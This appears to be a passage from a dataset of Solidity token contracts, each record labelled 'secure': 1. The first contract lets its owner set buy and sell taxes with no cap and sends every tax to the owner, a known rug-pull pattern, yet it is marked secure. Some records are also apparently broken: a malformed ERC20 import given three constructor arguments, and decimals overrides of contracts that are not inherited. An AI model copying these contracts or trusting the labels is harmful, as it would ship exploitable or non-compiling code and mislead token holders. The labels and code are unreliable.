virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _transfer(sender, to, amount, false);\n\n return true;\n }\n\n function allowance(\n address ownerAddress,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[ownerAddress][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount, true);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, allowance(sender, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(sender, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function setBuyTax(uint256 _buyTax) external onlyOwner {\n buyTax = _buyTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function setSellTax(uint256 _sellTax) external onlyOwner {\n sellTax = _sellTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount,\n bool isSell\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 taxAmount = isSell\n ? ((amount * sellTax) / 100)\n : ((amount * buyTax) / 100);\n\n uint256 netAmount = amount - taxAmount;\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += netAmount;\n }\n\n emit Transfer(from, to, netAmount);\n\n if (taxAmount > 0) {\n _balances[owner] += taxAmount;\n\n emit Transfer(from, owner, taxAmount);\n }\n\n _afterTokenTransfer(from, to, netAmount);\n }\n\n function _approve(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n ownerAddress != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[ownerAddress][spender] = amount;\n\n emit Approval(ownerAddress, spender, amount);\n }\n\n function _spendAllowance(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(ownerAddress, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(ownerAddress, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function renounceOwnership() external onlyOwner {\n emit OwnershipTransferred(\n owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n\n owner = address(0x000000000000000000000000000000000000dEaD);\n }\n\n function hasAlternatingBytes(address addr) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n for (uint256 i = 0; i < 19; i++) {\n if (addrBytes[i] != addrBytes[i + 1]) {\n continue;\n } else {\n return false;\n }\n }\n\n return true;\n }\n}", "file_name": "solidity_code_514.sol", "secure": 1, "size_bytes": 7019 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FaustTweet is ERC20 {\n constructor() ERC20(unicode\"BelieveMe2024\", unicode\"BELIEVE\", 1000000000) {}\n}", "file_name": "solidity_code_515.sol", "secure": 1, "size_bytes": 252 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Detailed.sol\" as ERC20Detailed;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"./ServicePayer.sol\" as ServicePayer;\nimport \"./ERC20Decimals.sol\" as ERC20Decimals;\n\ncontract BurnableERC20 is ERC20Detailed, ERC20Burnable, ServicePayer {\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 initialBalance_,\n bytes memory signature_,\n address payable feeReceiver_\n )\n payable\n ERC20Detailed(name_, symbol_, decimals_)\n ServicePayer(feeReceiver_, \"BurnableERC20\", signature_, _msgSender())\n {\n require(initialBalance_ > 0, \"Initial supply cannot be zero\");\n\n _mint(_msgSender(), initialBalance_);\n }\n\n function decimals()\n public\n view\n override(ERC20, ERC20Decimals)\n returns (uint8)\n {\n return super.decimals();\n }\n}", "file_name": "solidity_code_516.sol", "secure": 1, "size_bytes": 1087 }
{ "code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\ninterface IOracle {\n function decimals() external view returns (uint8);\n\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}", "file_name": "solidity_code_517.sol", "secure": 1, "size_bytes": 398 }